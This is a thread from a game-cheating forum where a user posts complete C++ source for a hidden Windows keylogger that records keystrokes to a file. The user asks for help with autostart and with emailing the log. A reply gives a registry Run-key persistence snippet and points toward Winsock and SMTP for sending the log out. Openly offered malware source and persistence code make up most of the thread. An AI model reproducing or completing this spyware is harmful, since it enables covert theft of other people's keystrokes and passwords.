Jump to content
Welcome, Guest
Existing user? Sign In

Sign In



Sign Up
The MatriX
  • Welcome To Ghbsys
  • CS GO Streaming Version is released. Have fun streaming while cheating!
  • Have a Payment Issue? Send us a Support ticket.
  • Make a thread if you need support or join our discord for live support.
  • Have Suggestions? Make a thread and you'll earn Ghbsys Points for implemented suggestions.
  • Join our discord to stay well connected! Don't forget to integrate your discord to the site
  • Welcome to [GHB] - GAmEhAcKbAsTaRdS Forum

    Welcome to [GHB] - GAmEhAcKbAsTaRdS Forum, like most online communities you must register to view or post in our community, but don't worry this is a simple free process that requires minimal information for you to signup. Be apart of [GHB] - GAmEhAcKbAsTaRdS Forum by signing in or creating an account.
    • Start new topics and reply to others
    • Subscribe to topics and forums to get email updates
    • Get your own profile page and make new friends
    • Send personal messages to other members.

    keylogger help


    chico123
     Share

    Recommended Posts

    ok guys i made this simple keylogger

     

    how it works: it is very simple it just records all your strokes and put them in a notepad -.- i know there is some strokes that there is not going to be recorded corectly but for now i don't need those bu if you want i wouldn't mind if you gave the value and code for some more keys =D im just to bored to do it myself

     

    btw would just mention that this is a stealth program so you can't see if it runs (well you can go to processes and see and exit it from there but else you cant.

     

    also something else i really need some help with is to make this program start automaticly with windows (sorry that im not super in coding "YET") (which is why im asking for your help)

     

    heres the code and i will put the program itself in attachtments (wups sorry i don't know how to make a virusscan which i think to remember is needed here to post something so you just gotta live with the code and compile and execute it yourself:

     

    #include <iostream>

    using namespace std;

    #include <windows.h>

    #include <Winuser.h>

     

    int Save (int key_stroke, char *file);

    void stealth();

     

    int main()

    {

    stealth();

    char i;

     

    while (1)

    {

    for(i = 8; i <= 190; i++)

    {

    if (GetAsyncKeyState(i) == -32767)

    Save(i,"LOG.TXT");

    }

    }

    system ("PAUSE");

    return 0;

    }

    /*********************************************/

    /*********************************************/

    int Save (int key_stroke, char *file)

    {

    if ( (key_stroke == 1) || (key_stroke == 2) )

    return 0;

     

    FILE *OUTPUT_FILE;

    OUTPUT_FILE = fopen (file, "a+");

    cout << key_stroke << endl;

     

    if (key_stroke == 8)

    fprintf (OUTPUT_FILE, "%s", "BACKSPACE");

    else if (key_stroke == 13)

    fprintf (OUTPUT_FILE, "%s", "\n");

    else if (key_stroke == 32)

    fprintf (OUTPUT_FILE, "%s", " ");

    else if (key_stroke == VK_TAB)

    fprintf (OUTPUT_FILE, "%s", "[TAB]");

    else if (key_stroke == VK_SHIFT)

    fprintf (OUTPUT_FILE, "%s", "SHIFT");

    else if (key_stroke == VK_CONTROL)

    fprintf (OUTPUT_FILE, "%s", "CONTROL");

    else if (key_stroke == VK_ESCAPE)

    fprintf (OUTPUT_FILE, "%s", "ESCAPE");

    else if (key_stroke == VK_END)

    fprintf (OUTPUT_FILE, "%s", "END");

    else if (key_stroke == VK_HOME)

    fprintf (OUTPUT_FILE, "%s", "HOME");

    else if (key_stroke == VK_LEFT)

    fprintf (OUTPUT_FILE, "%s", "LEFT");

    else if (key_stroke == VK_UP)

    fprintf (OUTPUT_FILE, "%s", "UP");

    else if (key_stroke == VK_RIGHT)

    fprintf (OUTPUT_FILE, "%s", "RIGHT");

    else if (key_stroke == VK_DOWN)

    fprintf (OUTPUT_FILE, "%s", "DOWN");

    else if (key_stroke == 190 || key_stroke == 110)

    fprintf (OUTPUT_FILE, "%s", ".");

    else

    fprintf (OUTPUT_FILE, "%s", &key_stroke);

    fclose (OUTPUT_FILE);

    return 0;

    }

    /*********************************************/

    /*********************************************/

    void stealth()

    {

    HWND stealth;

    // ALLocConsole();

    stealth = FindWindowA("ConsoleWindowClass", NULL);

    ShowWindow(stealth, 0);

    }

     

     

     

    and it works the way i want it to but i am not really a pro coder and i need some help making this program send the LOG.TXT on the internet to my email to my website idc but please some help to do this.

     

     

    i know this is a real C++ program and not a visual c++ program and therefore works on all platforms but i dont think you can compile this right with visual studio though i havent tried it yet so

     

    well hope for some answers =D

    and sorry for asking such a stupid question but i never made an app that should work with the internet before'

     

     

    ok guys when i tried to post it it said: There is an error with your BBCode. It is possible that you have incorrectly used a tag such as [ TAG ] when it is meant to be used as [TAG=] or vice-versa.

     

    so i iwill now delete the [and ] at

     

    BACKSPACE

    TAB

    SHIFT

    CONTROL

    ESCAPE

    END

    HOME

    LEFT

    UP

    RIGHT

    DOWN

     

    not that it matters since its just what it is going to print so -.-

    Edited by chico123
    Link to comment
    Share on other sites

    Look, first of all you should know, that GetAsyncKeyState() don't work safe. Sometimes it don't record a Key Down Event. It's a very bad idea to programm a keylogger using GetAsyncKeyState() at all. Just use a KeyboardHook for your Keylogger.

     

    It's quite easy to start your programm automaticly with windows. There's a folder for this. Every Programm which is in this folder will be started automaticly (WinXP). I don't know if this folder exists in Vista and Win7. If it doesn't exist anymore use a registry key for autostart.

     

    Don't use system("pause"), don't use c-strings if you have nor special reason for it. Use the c++ string class. And use the fstream class to save files not the old C way of saving files. Waah the code sends shivers down my spine again -.-

     

    To send something to the internet you can use WinSockets. But I think it would be too hard for you ,so search for some Librarys. Maybe Curl is able to send something to your email but I don't know exactly.

     

    No it's no real C++ programm. You mixed C and C++.

     

     

    Good luck if you have more questions use Google first, but I don't understand what's so funny about programming a Keylogger. Programm something usefull.

     

    [sorry for my bad English I'm in hurry ;D]

     

    Best Regards

     

    xNopex

    Link to comment
    Share on other sites

    yeah fair enough but what i meant was that it wasn't that visual shit

     

    and yeah then again i have only been reading basic programs book about C/C++ so yes thtas why there mixed up but it works so idc.

     

    but guys is there a code that can copy thishack into the startupfolder maybe that would be a way to make it start up with windows?

     

    and for the internet connection thing i still got no clue have been searching google for many hours without finding anything usefull

    Link to comment
    Share on other sites

    Since you're using windows.h you can use the CopyFile() function to copy the programm into the folder. If you want to use a registry key you can use this code snippet which I found somewehere:

     

    BYTE pfad[] = "laufwerk\\programmpfad\\name.exe"; 
    HKEY hkey; 
    RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, 0);	
    RegSetValueEx(hkey, "schluessel", 0, REG_SZ, pfad, sizeof(pfad)); 
    RegCloseKey(hkey);

     

    Do you speak german, too? in this case I can show you a tutorial using winsockets. After thet you'll have to use SMTP. But I don't think you will be able to programm this without any experience in programming using winsockets and SMTP.

     

    And this will help you, too: http://www.faqs.org/rfcs/rfc2045.html

     

     

    But like I said before, it will be too hard O.o

    Link to comment
    Share on other sites

    Guest
    This topic is now closed to further replies.
     Share

    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...